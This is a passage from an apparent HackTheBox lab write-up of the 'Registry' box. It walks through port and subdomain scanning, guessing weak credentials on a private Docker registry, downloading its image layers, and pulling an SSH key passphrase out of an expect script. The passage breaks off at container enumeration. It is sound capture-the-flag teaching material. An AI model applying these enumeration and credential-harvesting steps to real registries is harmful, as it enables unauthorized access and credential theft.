HTB: Registry
Registry provided the chance to play with a private Docker registry that wasn’t protected by anything other than a weak set of credentials. I’ll move past that to get the container and the SSH key and password inside. From there, I’ll exploit an instance of Bolt CMS to pivot to the www-data user. As www-data, I can access the Restic backup agent as root, and exploit that to get both the root flag and a root ssh key.
Box Info
| Name | Registry  Play on HackTheBox |
|---|---|
| Release Date | 19 Oct 2019 |
| Retire Date | 04 Apr 2020 |
| OS | Linux  |
| Base Points | Hard [40] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
00:28:17 |
 |
01:26:09 |
| Creator |  |
Recon
nmap
nmap gives SSH on TCP/22, HTTP on TCP/80, and HTTPS on TCP/443:
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-19 21:57 EDT
Nmap scan report for 10.10.10.159
Host is up (0.031s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
root@kali# nmap -p 22,80,443 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-19 22:11 EDT
Nmap scan report for 10.10.10.159
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.48 seconds
Based on the OpenSSH version, it looks like Ubuntu 18.04 Bionic.
Domains
Based on the TLS certificate I see in nmap output, I’ll add registry.htb and docker.registry.htb to my hosts file. I’ll also run wfuzz to look for any other subdomains, but running on HTTP and HTTPS only gives docker:
root@kali# wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.159/ -H "Host: FUZZ.registry.htb" --hh 612
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.159/
Total requests: 100000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000002191: 200 0 L 0 W 0 Ch "docker"
Total time: 501.4777
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 199.4106
Website - TCP 80/443
Site
For both HTTP and HTTPS, it just returns the default NGINX page:
Web Brute Force
Running gobuster on both HTTP and HTTPS returned the same results:
root@kali# gobuster -k -u https://10.10.10.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-80-root-small-php -t 40
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://10.10.10.159/
[+] Threads : 40
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : php
[+] Timeout : 10s
=====================================================
2019/10/19 22:35:01 Starting gobuster
=====================================================
/install (Status: 301)
/backup.php (Status: 200)
/bolt (Status: 301)
=====================================================
2019/10/19 23:00:26 Finished
=====================================================
/install
Visiting /install returns some kind of binary:
I’ll download it as a file, and the magic bytes suggest it is gzip:
root@kali# wget http://10.10.10.159/install/ -O install
--2019-10-19 22:18:23-- http://10.10.10.159/install/
Connecting to 10.10.10.159:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘install’
install [ <=> ] 1.03K --.-KB/s in 0s
2019-10-19 22:18:23 (38.1 MB/s) - ‘install’ saved [1050]
root@kali# file install
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
But it doesn’t decompress correctly. I can get data out of this using zcat (many linux commands have z versions that work off compressed data):
root@kali# zcat install.tar.gz 2>/dev/null | strings
ca.crt
0000775
0000041
0000041
00000002106
13464123607
012215
ustar
www-data
www-data
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md
0000775
0000041
0000041
00000000201
13472260460
012667
ustar
www-data
www-data
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
The bits at the end are interesting, and hint towards what I’m going to find at docker.registry.htb.
/bolt
There’s a pretty unconfigured instance of Bolt CMS at /bolt:
searchsploit does show several vulnerabilities in Bolt:
root@kali# searchsploit bolt
----------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ----------------------------------------
Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow | exploits/multiple/dos/41869.html
Bolt CMS 3.6.4 - Cross-Site Scripting | exploits/php/webapps/46495.txt
Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution | exploits/php/webapps/46664.html
Bolt CMS < 3.6.2 - Cross-Site Scripting | exploits/php/webapps/46014.txt
BoltWire 3.4.16 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/36552.txt
Bolthole Filter 2.6.1 - Address Parsing Buffer Overflow | exploits/multiple/remote/24982.txt
CMS Bolt - Arbitrary File Upload (Metasploit) | exploits/php/remote/38196.rb
Cannonbolt Portfolio Manager 1.0 - Multiple Vulnerabilities | exploits/php/webapps/21132.txt
----------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
I took a look the at the source for Bolt on Github, and I see there’s a changelog.md file that indicates the current version is 3.6.10.
I grabbed that same file from Registry, and it shows 3.6.4:
root@kali# curl -s 10.10.10.159/bolt/changelog.md | head
Changelog for Bolt 3.x
======================
Bolt 3.6.4
----------
Released: 2019-01-24. Notable changes:
- Fixed asset url generation for Bolt install in subfolder. [#7725](https://github.com/bolt/bolt/pull/7725)
- Fixed: DBAL Sqlite schema diff bug, still needed on DBAL 2.9. [#7733](https://github.com/bolt/bolt/pull/7733)
There’s an XSS bug in 3.6.4, but that’s not too useful. There’s an RCE in 3.6.6, and often that could work on lesser versions, but I couldn’t get it to do anything, at least without creds. When looking at 46664.html, I did see that it tries to log in at /bolt (which would be /bolt/bolt in this instance), and I find an admin login page there:
I was unable to guess the creds.
docker.registry.htb
Site
This subdomain returns a 0 byte response at the root, as I saw above in my wfuzz output.
Web Brute Force
gobuster finds an additional path, /v2, which feels like an API based on the name:
root@kali# gobuster -u http://docker.registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o scans/gobuster-docker-80-root-small -t 40
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://docker.registry.htb/
[+] Threads : 40
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/10/20 10:59:45 Starting gobuster
=====================================================
/v2 (Status: 301)
/http%!A(MISSING)%!F(MISSING)%!F(MISSING)www (Status: 301)
/http%!A(MISSING)%!F(MISSING)%!F(MISSING)youtube (Status: 301)
/http%!A(MISSING)%!F(MISSING)%!F(MISSING)blogs (Status: 301)
/http%!A(MISSING)%!F(MISSING)%!F(MISSING)blog (Status: 301)
/**http%!A(MISSING)%!F(MISSING)%!F(MISSING)www (Status: 301)
=====================================================
2019/10/20 11:03:17 Finished
=====================================================
/v2
When I visit /v2, there’s a prompt for HTTP basic auth:
When I guess admin:admin, it lets me through, and the response is:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 20 Oct 2019 15:24:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 2
Connection: close
Docker-Distribution-Api-Version: registry/2.0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
{}
Shell as bolt
Docker Registry - Background
At this point, given the box name, the subdomain, and my access to an API, I did a bit of reading about the Docker Registry API. Docker is a platform to run applications inside a container, which is like a virtual machine, but more lightweight. An image is the filesystem for a container. Once someone goes through the trouble to make a container, a registry is how images are managed and distributed. There’s a public Docker registry, but a individual or group can stand up a private registry as well.
notsosecure.com has a nice introduction to pentesting Docker registry, which I’ll follow for the next steps. My goal is to download a container from the registry and explore it.
Option 1: Get Container FS Via API
Enumerate Registry
If this is, in fact, a Docker registry, I should be able to list the repos with the /v2/_catalog endpoint. I find one repository:
root@kali# curl -s -k --user "admin:admin" https://docker.registry.htb/v2/_catalog
{"repositories":["bolt-image"]}
I can now visit /v2/[repo name]/tags/list to get a list of the tags for this repository:
root@kali# curl -s -k --user "admin:admin" https://docker.registry.htb/v2/bolt-image/tags/list
{"name":"bolt-image","tags":["latest"]}
Next I’ll get the manifest file for the latest tag:
root@kali# curl -s -k --user "admin:admin" https://docker.registry.htb/v2/bolt-image/manifests/latest
{
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
"blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
},
{
"blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
},
{
"blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
},
{
"blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
},
{
"blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
},
{
"blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
},
{
"blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStder$
\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb$
bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"co$
tainer_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce$
":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\$
Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c41$
d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
},
{
"v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"c$
eated\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"c$
eated\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"c$
eated\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"c$
eated\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"cr
eated\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"cr
eated\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"cr
eated\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"cr
eated\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
},
{
"v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"cr
eated\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exi
t 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /us
r/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t
\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docke
r-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e
/etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u002
6 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\
"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests
\"]}}"
},
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "AQVS:MD4Z:BDUI:RPO3:J4VJ:4NVN:E4Z3:UBX3:Q2RZ:XBHU:JQ27:QGLY",
"kty": "EC",
"x": "S9hMHmO_0gy2fUZurmUOt69ijynVWSkfOqt58q8HinQ",
"y": "iSS41dQjbwudtggFuuGb9Hg2jkXJnxFeP5aS6ieulZg"
},
"alg": "ES256"
},
"signature": "unxMc9MSYzO0L5_XkMP-liKL7bUd_5S5QEtebgI-v19M96ST4ospCy7xXeUSlQec9Nd2wmh9SzNpKgelILhZGg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMC0yMFQxNjoyNDoyOFoifQ"
}
]
There’s a lot in there, but the most important thing is the list of blobs at the top. Each has a sha256 hash, and represents a commit to the image. I can download those using /v2/[repo]/blobs/sha256:[hash]. So I can get the first blob with:
root@kali# curl -s -k --user 'admin:admin' 'http://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b' > 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz
root@kali# file 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz
302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz: gzip compressed data, original size modulo 2^32 3584
I can decompress the blob, and it contains bits of the filesystem of the image:
root@kali# tar zxf 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz
root@kali# find etc/ -type f -ls
17225 8 -rwxrwx--- 1 root vboxsf 222 May 24 18:25 etc/profile.d/01-ssh.sh
17226 4 -rwxrwx--- 1 root vboxsf 0 May 25 11:17 etc/profile.d/.wh.02-ssh.sh
That SSH script at etc/profile.d/01-ssh.sh looks interesting:
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interactroot@kali# cat etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
Looks like I just found the passphrase for an ssh key.
Download All Blobs
I could download all the blobs one by one, but there’s a neat tool to do it for me, docker_fetch. I’ll run it, and it will get all the blobs:
root@kali# python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.htb
[+] List of Repositories:
bolt-image
Which repo would you like to download?: bolt-image
[+] Available Tags:
latest
Which tag would you like to download?: latest
Give a directory name: blobs
Now sit back and relax. I will download all the blobs for you in blobs directory.
Open the directory, unzip all the files and explore like a Boss.
[+] Downloading Blob: 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
[+] Downloading Blob: 3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
[+] Downloading Blob: 02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
[+] Downloading Blob: c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
[+] Downloading Blob: 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
[+] Downloading Blob: a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading Blob: f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
[+] Downloading Blob: d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
[+] Downloading Blob: 8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
[+] Downloading Blob: f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
Now I have a directory with the blobs:
root@kali# ls blobs/
02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c.tar.gz 8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797.tar.gz f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff.tar.gz
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0.tar.gz
302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7.tar.gz
3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee.tar.gz d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a.tar.gz
I can decompress them into a folder named fs with the following command:
root@kali# cat blobs/*.tar.gz | tar -xzf - -C fs -i
cat will push the content of each blob into the pipe, which sends it in to tar with -x for extract, -f for file, -z for zlib compression, - for input file of stdin, -C fs to indicate the output directory, and -i to ignore end of file.
The result presents as a Linux file system:
root@kali# ls fs/
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
Option 2: Download Container
Rather than pull down the blobs, I can just use Docker to pull and run the container.
Pull
First I need to get the container. When I try to pull it, I get an error:
root@kali# docker pull docker.registry.htb/bolt-image
Using default tag: latest
Error response from daemon: Get https://docker.registry.htb/v1/_ping: x509: certificate signed by unknown authority
This is where I can use the certificate that was in the blob at /install. I’ll get the certificate out of that data with zcat:
root@kali# zcat install 2>/dev/null | strings -n 20
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
I’ll save the certificate as ca.crt, add it to my local certificate store, and restart docker:
root@kali# cp ca.crt /usr/local/share/ca-certificates/
root@kali# update-ca-certificates
Updating certificates in /etc/ssl/certs...
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
Adding debian:ca.pem
done.
Updating Mono key store
Mono Certificate Store Sync - version 6.4.0.198
Populate Mono certificate store from a concatenated list of certificates.
Copyright 2002, 2003 Motus Technologies. Copyright 2004-2008 Novell. BSD licensed.
Importing into legacy system store:
I already trust 130, your new list has 129
Certificate added: CN=Registry
1 new root certificates were added to your trust store.
Import process completed.
Importing into BTLS system store:
I already trust 130, your new list has 129
Certificate added: CN=Registry
1 new root certificates were added to your trust store.
Import process completed.
Done
done.
root@kali# service docker restart
Now when I try to pull the image, I get a different error:
root@kali# docker pull docker.registry.htb/bolt-image
Using default tag: latest
Pulling repository docker.registry.htb/bolt-image
Error: image bolt-image:latest not found
Some googling reveals that this is because I haven’t authenticated. I’ll use docker login to fix that:
root@kali# docker login -u admin -p admin docker.registry.htb
Login Succeeded
Now I can pull the image:
root@kali# docker pull docker.registry.htb/bolt-image
Using default tag: latest
latest: Pulling from bolt-image
f476d66f5408: Pull complete
8882c27f669e: Pull complete
d9af21273955: Pull complete
f5029279ec12: Pull complete
2931a8b44e49: Pull complete
c71b0b975ab8: Pull complete
02666a14e1b5: Pull complete
3f12770883a6: Pull complete
302bfcb3f10c: Pull complete
Digest: sha256:eeff225e5fae33dc832c3f82fd8b0db363a73eac4f0f0cb587094be54050539b
Status: Downloaded newer image for docker.registry.htb/bolt-image:latest
Run
Now I can run the container, and I’ll use the following command to start the shell with a bash prompt in the container:
root@kali# docker run -it docker.registry.htb/bolt-image /bin/bash
root@38a04220f13a:/#
Enumerate Container
